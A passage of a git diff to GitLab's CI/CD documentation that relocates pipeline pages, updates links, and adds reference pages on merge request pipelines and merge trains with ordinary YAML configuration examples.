- - if: $CI_MERGE_REQUEST_ID
-
- job1:
- script: ...
-
- job2:
- script: ...
- ```
-
- - Alternatively, setting the rule per job. For example, to create only `job1` in
- the context of merge request pipelines:
-
- ```yaml
- # child path/to/microservice_a.yml
- job1:
- script: ...
- rules:
- - if: $CI_MERGE_REQUEST_ID
-
- job2:
- script: ...
- ```
-
-## Dynamic child pipelines
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35632) in GitLab 12.9.
-
-Instead of running a child pipeline from a static YAML file, you can define a job that runs
-your own script to generate a YAML file, which is then [used to trigger a child pipeline](yaml/README.md#trigger-child-pipeline-with-generated-configuration-file).
-
-This technique can be very powerful in generating pipelines targeting content that changed or to
-build a matrix of targets and architectures.
-
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For an overview, see [Create child pipelines using dynamically generated configurations](https://youtu.be/nMdfus2JWHM).
-
-<!-- vale gitlab.Spelling = NO -->
-We also have an example project using
-[Dynamic Child Pipelines with Jsonnet](https://gitlab.com/gitlab-org/project-templates/jsonnet)
-which shows how to use a data templating language to generate your `.gitlab-ci.yml` at runtime. You could use a similar process for other templating languages like [Dhall](https://dhall-lang.org/) or [`ytt`](https://get-ytt.io/).
-<!-- vale gitlab.Spelling = NO -->
-
-The artifact path is parsed by GitLab, not the runner, so the path must match the
-syntax for the OS running GitLab. If GitLab is running on Linux but using a Windows
-runner for testing, the path separator for the trigger job would be `/`. Other CI/CD
-configuration for jobs, like scripts, that use the Windows runner would use `\`.
-
-In GitLab 12.9, the child pipeline could fail to be created in certain cases, causing the parent pipeline to fail.
-This is [resolved in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/209070).
-
-## Nested child pipelines
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29651) in GitLab 13.4.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/243747) in GitLab 13.5.
-
-Parent and child pipelines were introduced with a maximum depth of one level of child
-pipelines, which was later increased to two. A parent pipeline can trigger many child
-pipelines, and these child pipelines can trigger their own child pipelines. It's not
-possible to trigger another level of child pipelines.
-
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For an overview, see [Nested Dynamic Pipelines](https://youtu.be/C5j3ju9je2M).
-
-## Pass CI/CD variables to a child pipeline
-
-You can [pass CI/CD variables to a downstream pipeline](multi_project_pipelines.md#passing-cicd-variables-to-a-downstream-pipeline)
-the same way as for multi-project pipelines.
+<!-- This redirect file can be deleted after 2021-09-29. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/pipeline_editor/index.md b/doc/ci/pipeline_editor/index.md
index 1527a05d3d7..7132d47d324 100644
--- a/doc/ci/pipeline_editor/index.md
+++ b/doc/ci/pipeline_editor/index.md
@@ -15,10 +15,10 @@ the `.gitlab-ci.yml` file in the root of your repository. To access the editor,
From the pipeline editor page you can:
-- Select the branch to work from. [Introduced in GitLab 13.12](https://gitlab.com/gitlab-org/gitlab/-/issues/326189), disabled by default.
+- Select the branch to work from.
- [Validate](#validate-ci-configuration) your configuration syntax while editing the file.
- Do a deeper [lint](#lint-ci-configuration) of your configuration, that verifies it with any configuration
- added with the [`include`](../yaml/README.md#include) keyword.
+ added with the [`include`](../yaml/index.md#include) keyword.
- See a [visualization](#visualize-ci-configuration) of the current configuration.
- View an [expanded](#view-expanded-configuration) version of your configuration.
- [Commit](#commit-changes-to-ci-configuration) the changes to a specific branch.
@@ -58,7 +58,7 @@ reflected in the CI lint. It displays the same results as the existing [CI Lint
To view a visualization of your `gitlab-ci.yml` configuration, in your project,
go to **CI/CD > Editor**, and then select the **Visualize** tab. The
-visualization shows all stages and jobs. Any [`needs`](../yaml/README.md#needs)
+visualization shows all stages and jobs. Any [`needs`](../yaml/index.md#needs)
relationships are displayed as lines connecting jobs together, showing the
hierarchy of execution:
@@ -80,10 +80,10 @@ To view the fully expanded CI/CD configuration as one combined file, go to the
pipeline editor's **View merged YAML** tab. This tab displays an expanded configuration
where:
-- Configuration imported with [`include`](../yaml/README.md#include) is copied into the view.
-- Jobs that use [`extends`](../yaml/README.md#extends) display with the
- [extended configuration merged into the job](../yaml/README.md#merge-details).
-- YAML anchors are [replaced with the linked configuration](../yaml/README.md#anchors).
+- Configuration imported with [`include`](../yaml/index.md#include) is copied into the view.
+- Jobs that use [`extends`](../yaml/index.md#extends) display with the
+ [extended configuration merged into the job](../yaml/index.md#merge-details).
+- YAML anchors are [replaced with the linked configuration](../yaml/index.md#anchors).
## Commit changes to CI configuration
diff --git a/doc/ci/pipelines/img/coverage_check_approval_rule_14_1.png b/doc/ci/pipelines/img/coverage_check_approval_rule_14_1.png
new file mode 100644
index 00000000000..00eb5c84ca9
--- /dev/null
+++ b/doc/ci/pipelines/img/coverage_check_approval_rule_14_1.png
Binary files differ
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_cancel_v12_0.png b/doc/ci/pipelines/img/merge_train_cancel_v12_0.png
index d7720ac1143..d7720ac1143 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_cancel_v12_0.png
+++ b/doc/ci/pipelines/img/merge_train_cancel_v12_0.png
Binary files differ
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_failure.png b/doc/ci/pipelines/img/merge_train_failure.png
index 8a795fff432..8a795fff432 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_failure.png
+++ b/doc/ci/pipelines/img/merge_train_failure.png
Binary files differ
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_immediate_merge_v12_6.png b/doc/ci/pipelines/img/merge_train_immediate_merge_v12_6.png
index 7b903716a3d..7b903716a3d 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_immediate_merge_v12_6.png
+++ b/doc/ci/pipelines/img/merge_train_immediate_merge_v12_6.png
Binary files differ
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_position_v12_0.png b/doc/ci/pipelines/img/merge_train_position_v12_0.png
index ec4b157d428..ec4b157d428 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_position_v12_0.png
+++ b/doc/ci/pipelines/img/merge_train_position_v12_0.png
Binary files differ
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_start_v12_0.png b/doc/ci/pipelines/img/merge_train_start_v12_0.png
index a4d0c8cf0e6..a4d0c8cf0e6 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_start_v12_0.png
+++ b/doc/ci/pipelines/img/merge_train_start_v12_0.png
Binary files differ
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_start_when_pipeline_succeeds_v12_0.png b/doc/ci/pipelines/img/merge_train_start_when_pipeline_succeeds_v12_0.png
index 45762b8e85e..45762b8e85e 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_start_when_pipeline_succeeds_v12_0.png
+++ b/doc/ci/pipelines/img/merge_train_start_when_pipeline_succeeds_v12_0.png
Binary files differ
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.png b/doc/ci/pipelines/img/merged_result_pipeline.png
index 2584cd4d38d..2584cd4d38d 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.png
+++ b/doc/ci/pipelines/img/merged_result_pipeline.png
Binary files differ
diff --git a/doc/ci/img/multi_pipeline_mini_graph.gif b/doc/ci/pipelines/img/multi_pipeline_mini_graph.gif
index de49ba5aa12..de49ba5aa12 100644
--- a/doc/ci/img/multi_pipeline_mini_graph.gif
+++ b/doc/ci/pipelines/img/multi_pipeline_mini_graph.gif
Binary files differ
diff --git a/doc/ci/img/multi_project_pipeline_graph.png b/doc/ci/pipelines/img/multi_project_pipeline_graph.png
index 723a455cb4a..723a455cb4a 100644
--- a/doc/ci/img/multi_project_pipeline_graph.png
+++ b/doc/ci/pipelines/img/multi_project_pipeline_graph.png
Binary files differ
diff --git a/doc/ci/img/parent_pipeline_graph_expanded_v12_6.png b/doc/ci/pipelines/img/parent_pipeline_graph_expanded_v12_6.png
index db18cc201fc..db18cc201fc 100644
--- a/doc/ci/img/parent_pipeline_graph_expanded_v12_6.png
+++ b/doc/ci/pipelines/img/parent_pipeline_graph_expanded_v12_6.png
Binary files differ
diff --git a/doc/ci/merge_request_pipelines/img/pipeline-fork_v13_7.png b/doc/ci/pipelines/img/pipeline-fork_v13_7.png
index eb44290aa66..eb44290aa66 100644
--- a/doc/ci/merge_request_pipelines/img/pipeline-fork_v13_7.png
+++ b/doc/ci/pipelines/img/pipeline-fork_v13_7.png
Binary files differ
diff --git a/doc/ci/pipelines/img/pipelines_graph_dependency_view_hover_v13_12.png b/doc/ci/pipelines/img/pipelines_graph_dependency_view_hover_v13_12.png
index e73845b39b0..ff6b3af0a28 100644
--- a/doc/ci/pipelines/img/pipelines_graph_dependency_view_hover_v13_12.png
+++ b/doc/ci/pipelines/img/pipelines_graph_dependency_view_hover_v13_12.png
Binary files differ
diff --git a/doc/ci/pipelines/img/pipelines_graph_dependency_view_links_v13_12.png b/doc/ci/pipelines/img/pipelines_graph_dependency_view_links_v13_12.png
index 1ce77881bc4..b0923ab96d9 100644
--- a/doc/ci/pipelines/img/pipelines_graph_dependency_view_links_v13_12.png
+++ b/doc/ci/pipelines/img/pipelines_graph_dependency_view_links_v13_12.png
Binary files differ
diff --git a/doc/ci/pipelines/img/pipelines_graph_dependency_view_v13_12.png b/doc/ci/pipelines/img/pipelines_graph_dependency_view_v13_12.png
index 41840108441..ae7cdc5b43e 100644
--- a/doc/ci/pipelines/img/pipelines_graph_dependency_view_v13_12.png
+++ b/doc/ci/pipelines/img/pipelines_graph_dependency_view_v13_12.png
Binary files differ
diff --git a/doc/ci/pipelines/img/pipelines_graph_stage_view_v13_12.png b/doc/ci/pipelines/img/pipelines_graph_stage_view_v13_12.png
index d7d8f3c63d2..b3b98313350 100644
--- a/doc/ci/pipelines/img/pipelines_graph_stage_view_v13_12.png
+++ b/doc/ci/pipelines/img/pipelines_graph_stage_view_v13_12.png
Binary files differ
diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md
index af6b9e5b6b3..4f818d658b7 100644
--- a/doc/ci/pipelines/index.md
+++ b/doc/ci/pipelines/index.md
@@ -20,7 +20,7 @@ Pipelines comprise:
- Jobs, which define *what* to do. For example, jobs that compile or test code.
- Stages, which define *when* to run the jobs. For example, stages that run tests after stages that compile the code.
-Jobs are executed by [runners](../runners/README.md). Multiple jobs in the same stage are executed in parallel,
+Jobs are executed by [runners](../runners/index.md). Multiple jobs in the same stage are executed in parallel,
if there are enough concurrent runners.
If *all* jobs in a stage succeed, the pipeline moves on to the next stage.
@@ -38,7 +38,7 @@ A typical pipeline might consist of four stages, executed in the following order
- A `production` stage, with a job called `deploy-to-prod`.
NOTE:
-If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository),
+If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pull-from-a-remote-repository),
you may need to enable pipeline triggering in your project's
**Settings > Repository > Pull from a remote repository > Trigger pipelines for mirror updates**.
@@ -50,16 +50,16 @@ Pipelines can be configured in many different ways:
followed by the next stage.
- [Directed Acyclic Graph Pipeline (DAG) pipelines](../directed_acyclic_graph/index.md) are based on relationships
between jobs and can run more quickly than basic pipelines.
-- [Multi-project pipelines](../multi_project_pipelines.md) combine pipelines for different projects together.
-- [Parent-Child pipelines](../parent_child_pipelines.md) break down complex pipelines
+- [Multi-project pipelines](multi_project_pipelines.md) combine pipelines for different projects together.
+- [Parent-Child pipelines](parent_child_pipelines.md) break down complex pipelines
into one parent pipeline that can trigger multiple child sub-pipelines, which all
run in the same project and with the same SHA.
-- [Pipelines for Merge Requests](../merge_request_pipelines/index.md) run for merge
+- [Pipelines for Merge Requests](../pipelines/merge_request_pipelines.md) run for merge
requests only (rather than for every commit).
-- [Pipelines for Merged Results](../merge_request_pipelines/pipelines_for_merged_results/index.md)
+- [Pipelines for Merged Results](../pipelines/pipelines_for_merged_results.md)
are merge request pipelines that act as though the changes from the source branch have
already been merged into the target branch.
-- [Merge Trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md)
+- [Merge Trains](../pipelines/merge_trains.md)
use pipelines for merged results to queue merges one after the other.
## Configure a pipeline
@@ -67,15 +67,15 @@ Pipelines can be configured in many different ways:
Pipelines and their component jobs and stages are defined in the CI/CD pipeline configuration file for each project.
- [Jobs](../jobs/index.md) are the basic configuration component.
-- Stages are defined by using the [`stages`](../yaml/README.md#stages) keyword.
+- Stages are defined by using the [`stages`](../yaml/index.md#stages) keyword.
-For a list of configuration options in the CI pipeline file, see the [GitLab CI/CD Pipeline Configuration Reference](../yaml/README.md).
+For a list of configuration options in the CI pipeline file, see the [GitLab CI/CD Pipeline Configuration Reference](../yaml/index.md).
You can also configure specific aspects of your pipelines through the GitLab UI. For example:
- [Pipeline settings](settings.md) for each project.
- [Pipeline schedules](schedules.md).
-- [Custom CI/CD variables](../variables/README.md#custom-cicd-variables).
+- [Custom CI/CD variables](../variables/index.md#custom-cicd-variables).
### Ref Specs for Runners
@@ -89,13 +89,13 @@ This table lists the refspecs injected for each pipeline type:
|--------------- |---------------------------------------- |
| Pipeline for Branches | `+<sha>:refs/pipelines/<id>` and `+refs/heads/<name>:refs/remotes/origin/<name>` |
| pipeline for Tags | `+<sha>:refs/pipelines/<id>` and `+refs/tags/<name>:refs/tags/<name>` |
-| [Pipeline for Merge Requests](../merge_request_pipelines/index.md) | `+<sha>:refs/pipelines/<id>` |
+| [Pipeline for Merge Requests](../pipelines/merge_request_pipelines.md) | `+<sha>:refs/pipelines/<id>` |
The refs `refs/heads/<name>` and `refs/tags/<name>` exist in your
project repository. GitLab generates the special ref `refs/pipelines/<id>` during a
running pipeline job. This ref can be created even after the associated branch or tag has been
deleted. It's therefore useful in some features such as [automatically stopping an environment](../environments/index.md#stopping-an-environment),
-and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md)
+and [merge trains](../pipelines/merge_trains.md)
that might run pipelines after branch deletion.
### View pipelines
@@ -125,7 +125,7 @@ you can filter the pipeline list by:
### Run a pipeline manually
-Pipelines can be manually executed, with predefined or manually-specified [variables](../variables/README.md).
+Pipelines can be manually executed, with predefined or manually-specified [variables](../variables/index.md).
You might do this if the results of a pipeline (for example, a code build) are required outside the normal
operation of the pipeline.
@@ -136,7 +136,7 @@ To execute a pipeline manually:
1. Select the **Run pipeline** button.
1. On the **Run pipeline** page:
1. Select the branch or tag to run the pipeline for in the **Run for branch name or tag** field.
- 1. Enter any [environment variables](../variables/README.md) required for the pipeline run.
+ 1. Enter any [environment variables](../variables/index.md) required for the pipeline run.
You can set specific variables to have their [values prefilled in the form](#prefill-variables-in-manual-pipelines).
1. Click the **Run pipeline** button.
@@ -146,9 +146,9 @@ The pipeline now executes the jobs as configured.
> [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) GitLab 13.7.
-You can use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines)
+You can use the [`value` and `description`](../yaml/index.md#prefill-variables-in-manual-pipelines)
keywords to define
-[pipeline-level (global) variables](../variables/README.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file)
+[pipeline-level (global) variables](../variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file)
that are prefilled when running a pipeline manually.
In pipelines triggered manually, the **Run pipelines** page displays all top-level variables
@@ -200,7 +200,7 @@ For each `var` or `file_var`, a key and value are required.
### Add manual interaction to your pipeline
-Manual actions, configured using the [`when:manual`](../yaml/README.md#whenmanual) keyword,
+Manual actions, configured using the [`when:manual`](../yaml/index.md#whenmanual) keyword,
allow you to require manual interaction before moving forward in the pipeline.
You can do this straight from the pipeline graph. Just click the play button
@@ -222,7 +222,7 @@ to an updated status.
This functionality is only available:
-- For users with at least Developer access.
+- For users with at least the Developer role.
- If the stage contains [manual actions](#add-manual-interaction-to-your-pipeline).
### Delete a pipeline
@@ -301,7 +301,7 @@ A strict security model is enforced when pipelines are executed on
[protected branches](../../user/project/protected_branches.md).
The following actions are allowed on protected branches only if the user is
-[allowed to merge or push](../../user/project/protected_branches.md#using-the-allowed-to-merge-and-allowed-to-push-settings)
+[allowed to merge or push](../../user/project/protected_branches.md)
on that specific branch:
- Run manual pipelines (using the [Web UI](#run-a-pipeline-manually) or [pipelines API](#pipelines-api)).
@@ -347,9 +347,9 @@ You can group the jobs by:
![jobs grouped by stage](img/pipelines_graph_stage_view_v13_12.png)
- [Job dependencies](#view-job-dependencies-in-the-pipeline-graph), which arranges
- jobs based on their [`needs`](../yaml/README.md#needs) dependencies.
+ jobs based on their [`needs`](../yaml/index.md#needs) dependencies.
-[Multi-project pipeline graphs](../multi_project_pipelines.md#multi-project-pipeline-visualization) help
+[Multi-project pipeline graphs](multi_project_pipelines.md#multi-project-pipeline-visualization) help
you visualize the entire pipeline, including all cross-project inter-dependencies. **(PREMIUM)**
### View job dependencies in the pipeline graph
@@ -365,7 +365,7 @@ This in-development feature might not be available for your use. There can be
[risks when enabling features still in development](../../user/feature_flags.md#risks-when-enabling-features-still-in-development).
Refer to this feature's version history for more details.
-You can arrange jobs in the pipeline graph based on their [`needs`](../yaml/README.md#needs)
+You can arrange jobs in the pipeline graph based on their [`needs`](../yaml/index.md#needs)
dependencies.
Jobs in the leftmost column run first, and jobs that depend on them are grouped in the next columns.
@@ -441,5 +441,5 @@ GitLab provides API endpoints to:
- Perform basic functions. For more information, see [Pipelines API](../../api/pipelines.md).
- Maintain pipeline schedules. For more information, see [Pipeline schedules API](../../api/pipeline_schedules.md).
- Trigger pipeline runs. For more information, see:
- - [Triggering pipelines through the API](../triggers/README.md).
+ - [Triggering pipelines through the API](../triggers/index.md).
- [Pipeline triggers API](../../api/pipeline_triggers.md).
diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md
index 0bb7007e7a9..b9a42c76293 100644
--- a/doc/ci/pipelines/job_artifacts.md
+++ b/doc/ci/pipelines/job_artifacts.md
@@ -48,7 +48,7 @@ is used.
If you run two types of pipelines (like branch and scheduled) for the same ref,
the pipeline that finishes later creates the job artifact.
-For more examples, view the [keyword reference for the `.gitlab-ci.yml` file](../yaml/README.md#artifacts).
+For more examples, view the [keyword reference for the `.gitlab-ci.yml` file](../yaml/index.md#artifacts).
## Download job artifacts
@@ -112,7 +112,7 @@ the artifact.
## How searching for job artifacts works
In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201784) and later, artifacts
-for [parent and child pipelines](../parent_child_pipelines.md) are searched in hierarchical
+for [parent and child pipelines](parent_child_pipelines.md) are searched in hierarchical
order from parent to child. For example, if both parent and child pipelines have a
job with the same name, the job artifact from the parent pipeline is returned.
@@ -173,7 +173,7 @@ https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/file/htmlcov/index.ht
## When job artifacts are deleted
-See the [`expire_in`](../yaml/README.md#artifactsexpire_in) documentation for information on when
+See the [`expire_in`](../yaml/index.md#artifactsexpire_in) documentation for information on when
job artifacts are deleted.
### Keep artifacts from most recent successful jobs
@@ -203,5 +203,5 @@ This message is often preceded by other errors or warnings that specify the file
generated. Check the job log for these messages.
If you find no helpful messages, retry the failed job after activating
-[CI/CD debug logging](../variables/README.md#debug-logging).
+[CI/CD debug logging](../variables/index.md#debug-logging).
This logging should provide information to help you investigate further.
diff --git a/doc/ci/pipelines/merge_request_pipelines.md b/doc/ci/pipelines/merge_request_pipelines.md
new file mode 100644
index 00000000000..29c12551f12
--- /dev/null
+++ b/doc/ci/pipelines/merge_request_pipelines.md
@@ -0,0 +1,215 @@
+---
+stage: Verify
+group: Pipeline Execution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference, index
+last_update: 2019-07-03
+---
+
+# Pipelines for merge requests **(FREE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/15310) in GitLab 11.6.
+
+In a [basic configuration](pipeline_architectures.md#basic-pipelines), GitLab runs a pipeline each time
+changes are pushed to a branch.
+
+If you want the pipeline to run jobs **only** on commits associated with a merge request,
+you can use *pipelines for merge requests*.
+
+In the UI, these pipelines are labeled as `detached`. Otherwise, these pipelines are the same
+as other pipelines.
+
+Pipelines for merge requests can run when you:
+
+- Create a new merge request.
+- Commit changes to the source branch for the merge request.
+- Select the **Run pipeline** button from the **Pipelines** tab in the merge request.
+
+If you use this feature with [merge when pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md),
+pipelines for merge requests take precedence over other pipelines.
+
+## Prerequisites
+
+To enable pipelines for merge requests:
+
+- Your repository must be a GitLab repository, not an
+ [external repository](../ci_cd_for_external_repos/index.md).
+- You must have the Developer [role](../../user/permissions.md)
+ to run a pipeline for merge requests.
+
+## Configure pipelines for merge requests
+
+To configure pipelines for merge requests, you must configure your [CI/CD configuration file](../yaml/index.md).
+To do this, you can use [`rules`](#use-rules-to-run-pipelines-for-merge-requests) or [`only/except`](#use-only-or-except-to-run-pipelines-for-merge-requests).
+
+### Use `rules` to run pipelines for merge requests
+
+GitLab recommends that you use the `rules` keyword, which is available in
+[`workflow:rules` templates](../yaml/index.md#workflowrules-templates).
+
+### Use `only` or `except` to run pipelines for merge requests
+
+You can use the `only/except` keywords. However, with this method, you must specify `only: - merge_requests` for each job.
+
+In the following example, the pipeline contains a `test` job that is configured to run on merge requests.
+The `build` and `deploy` jobs don't have the `only: - merge_requests` keyword,
+so they don't run on merge requests.
+
+```yaml
+build:
+ stage: build
+ script: ./build
+ only:
+ - main
+
+test:
+ stage: test
+ script: ./test
+ only:
+ - merge_requests
+
+deploy:
+ stage: deploy
+ script: ./deploy
+ only:
+ - main
+```
+
+#### Exclude specific jobs
+
+When you use `only: [merge_requests]`, only jobs with
+that keyword are run in the context of a merge request. No other jobs run.
+
+However, you can invert this behavior and have all of your jobs run except
+for one or two. For example, you might have a pipeline with jobs `A`, `B`, and `C`, and you want:
+
+- All pipelines to always run `A` and `B`.
+- `C` to run only for merge requests.
+
+To achieve this outcome, configure your `.gitlab-ci.yml` file as follows:
+
+```yaml
+.only-default: &only-default
+ only:
+ - main
+ - merge_requests
+ - tags
+
+A:
+ <<: *only-default
+ script:
+ - ...
+
+B:
+ <<: *only-default
+ script:
+ - ...
+
+C:
+ script:
+ - ...
+ only:
+ - merge_requests
+```
+
+- `A` and `B` always run, because they get the `only:` rule to execute in all cases.
+- `C` only runs for merge requests. It doesn't run for any pipeline
+ except a merge request pipeline.
+
+In this example, you don't have to add the `only:` rule to all of your jobs to make
+them always run. You can use this format to set up a Review App, which helps to
+save resources.
+
+#### Exclude specific branches
+
+Branch refs use this format: `refs/heads/my-feature-branch`.
+Merge request refs use this format: `refs/merge-requests/:iid/head`.
+
+Because of this difference, the following configuration does not work as expected:
+
+```yaml
+# Does not exclude a branch named "docs-my-fix"!
+test:
+ only: [merge_requests]
+ except: [/^docs-/]
+```
+
+Instead, use the
+[`$CI_COMMIT_REF_NAME` predefined environment
+variable](../variables/predefined_variables.md) in
+combination with
+[`only:variables`](../yaml/index.md#onlyvariables--exceptvariables) to
+accomplish this behavior:
+
+```yaml
+test:
+ only: [merge_requests]
+ except:
+ variables:
+ - $CI_COMMIT_REF_NAME =~ /^docs-/
+```
+
+## Run pipelines in the parent project for merge requests from a forked project **(PREMIUM)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217451) in GitLab 13.3.
+> - [Moved](https://about.gitlab.com/blog/2021/01/26/new-gitlab-product-subscription-model/) to GitLab Premium in 13.9.
+
+By default, external contributors who work in forks can't create pipelines in the
+parent project. When a merge request that comes from a fork triggers a pipeline:
+
+- The pipeline is created and runs in the fork (source) project, not the parent (target) project.
+- The pipeline uses the fork project's CI/CD configuration and resources.
+
+If a pipeline runs in a fork, a **fork** badge appears for the pipeline in the merge request.
+
+![Pipeline ran in fork](img/pipeline-fork_v13_7.png)
+
+Sometimes parent project members want the pipeline to run in the parent
+project. They may want to ensure that the post-merge pipeline passes in the parent project.
+For example, a fork project could try to use a corrupted runner that doesn't execute
+test scripts properly, but reports a passed pipeline. Reviewers in the parent project
+could mistakenly trust the merge request because it passed a faked pipeline.
+
+Parent project members with at least the [Developer role](../../user/permissions.md)
+can create pipelines in the parent project for merge requests
+from a forked project. In the merge request, go to the **Pipelines** tab and select
+**Run pipeline**.
+
+WARNING:
+Fork merge requests can contain malicious code that tries to steal secrets in the
+parent project when the pipeline runs, even before merge. As a reviewer, you must carefully
+check the changes in the merge request before triggering the pipeline. GitLab shows
+a warning that you must accept before you can trigger the pipeline.
+
+## Predefined variables available for pipelines for merge requests
+
+When you use pipelines for merge requests, [additional predefined variables](../variables/predefined_variables.md#predefined-variables-for-merge-request-pipelines) are available to the CI/CD jobs.
+These variables contain information from the associated merge request, so that you can
+integrate your job with the [GitLab Merge Request API](../../api/merge_requests.md).
+
+## Troubleshooting
+
+### Two pipelines created when pushing to a merge request
+
+If you are experiencing duplicated pipelines when using `rules`, take a look at
+the [important differences between `rules` and `only`/`except`](../jobs/job_control.md#avoid-duplicate-pipelines),
+which helps you get your starting configuration correct.
+
+If you are seeing two pipelines when using `only/except`, please see the caveats
+related to using `only/except` above (or, consider moving to `rules`).
+
+In [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) and later,
+you can add `workflow:rules` to [switch from branch pipelines to merge request pipelines](../yaml/index.md#switch-between-branch-pipelines-and-merge-request-pipelines).
+After a merge request is open on the branch, the pipeline switches to a merge request pipeline.
+
+### Two pipelines created when pushing an invalid CI configuration file
+
+Pushing to a branch with an invalid CI configuration file can trigger
+the creation of two types of failed pipelines. One pipeline is a failed merge request
+pipeline, and the other is a failed branch pipeline, but both are caused by the same
+invalid configuration.
+
+## Related topics
+
+- [Pipelines for merged results](pipelines_for_merged_results.md).
+- [Merge trains](merge_trains.md).
diff --git a/doc/ci/pipelines/merge_trains.md b/doc/ci/pipelines/merge_trains.md
new file mode 100644
index 00000000000..3e6ad071d7e
--- /dev/null
+++ b/doc/ci/pipelines/merge_trains.md
@@ -0,0 +1,236 @@
+---
+stage: Verify
+group: Pipeline Execution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+last_update: 2019-07-03
+---
+
+# Merge Trains **(PREMIUM)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9186) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.0.
+> - [Squash and merge](../../user/project/merge_requests/squash_and_merge.md) support [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13001) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.6.
+
+For more information about why you might want to use Merge Trains, read [How merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/).
+
+When [pipelines for merged results](pipelines_for_merged_results.md) are
+enabled, the pipeline jobs run as if the changes from your source branch have already
+been merged into the target branch.
+
+However, the target branch may be changing rapidly. When you're ready to merge,
+if you haven't run the pipeline in a while, the target branch may have already changed.
+Merging now could introduce breaking changes.
+
+*Merge trains* can prevent this from happening. A merge train is a queued list of merge
+requests, each waiting to be merged into the target branch.
+
+Many merge requests can be added to the train. Each merge request runs its own merged results pipeline,
+which includes the changes from all of the other merge requests in *front* of it on the train.
+All the pipelines run in parallel, to save time.
+
+If the pipeline for a merge request fails, the breaking changes are not merged, and the target
+branch is unaffected. The merge request is removed from the train, and all pipelines behind it restart.
+
+If the pipeline for the merge request at the front of the train completes successfully,
+the changes are merged into the target branch, and the other pipelines continue to
+run.
+
+To add a merge request to a merge train, you need [permissions](../../user/permissions.md) to push to the target branch.
+
+Each merge train can run a maximum of **twenty** pipelines in parallel.
+If more than twenty merge requests are added to the merge train, the merge requests
+are queued until a slot in the merge train is free. There is no limit to the
+number of merge requests that can be queued.
+
+## Merge train example
+
+Three merge requests (`A`, `B` and `C`) are added to a merge train in order, which
+creates three merged results pipelines that run in parallel:
+
+1. The first pipeline runs on the changes from `A` combined with the target branch.
+1. The second pipeline runs on the changes from `A` and `B` combined with the target branch.
+1. The third pipeline runs on the changes from `A`, `B`, and `C` combined with the target branch.
+
+If the pipeline for `B` fails, it is removed from the train. The pipeline for
+`C` restarts with the `A` and `C` changes, but without the `B` changes.
+
+If `A` then completes successfully, it merges into the target branch, and `C` continues
+to run. If more merge requests are added to the train, they now include the `A`
+changes that are included in the target branch, and the `C` changes that are from
+the merge request already in the train.
+
+Read more about [how merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/).
+
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+Watch this video for a demonstration on [how parallel execution
+of Merge Trains can prevent commits from breaking the default
+branch](https://www.youtube.com/watch?v=D4qCqXgZkHQ).
+
+## Prerequisites
+
+To enable merge trains:
+
+- You must have the [Maintainer role](../../user/permissions.md).
+- You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later.
+- In GitLab 13.0 and later, you need [Redis](https://redis.io/) 5.0 or later.
+- Your repository must be a GitLab repository, not an
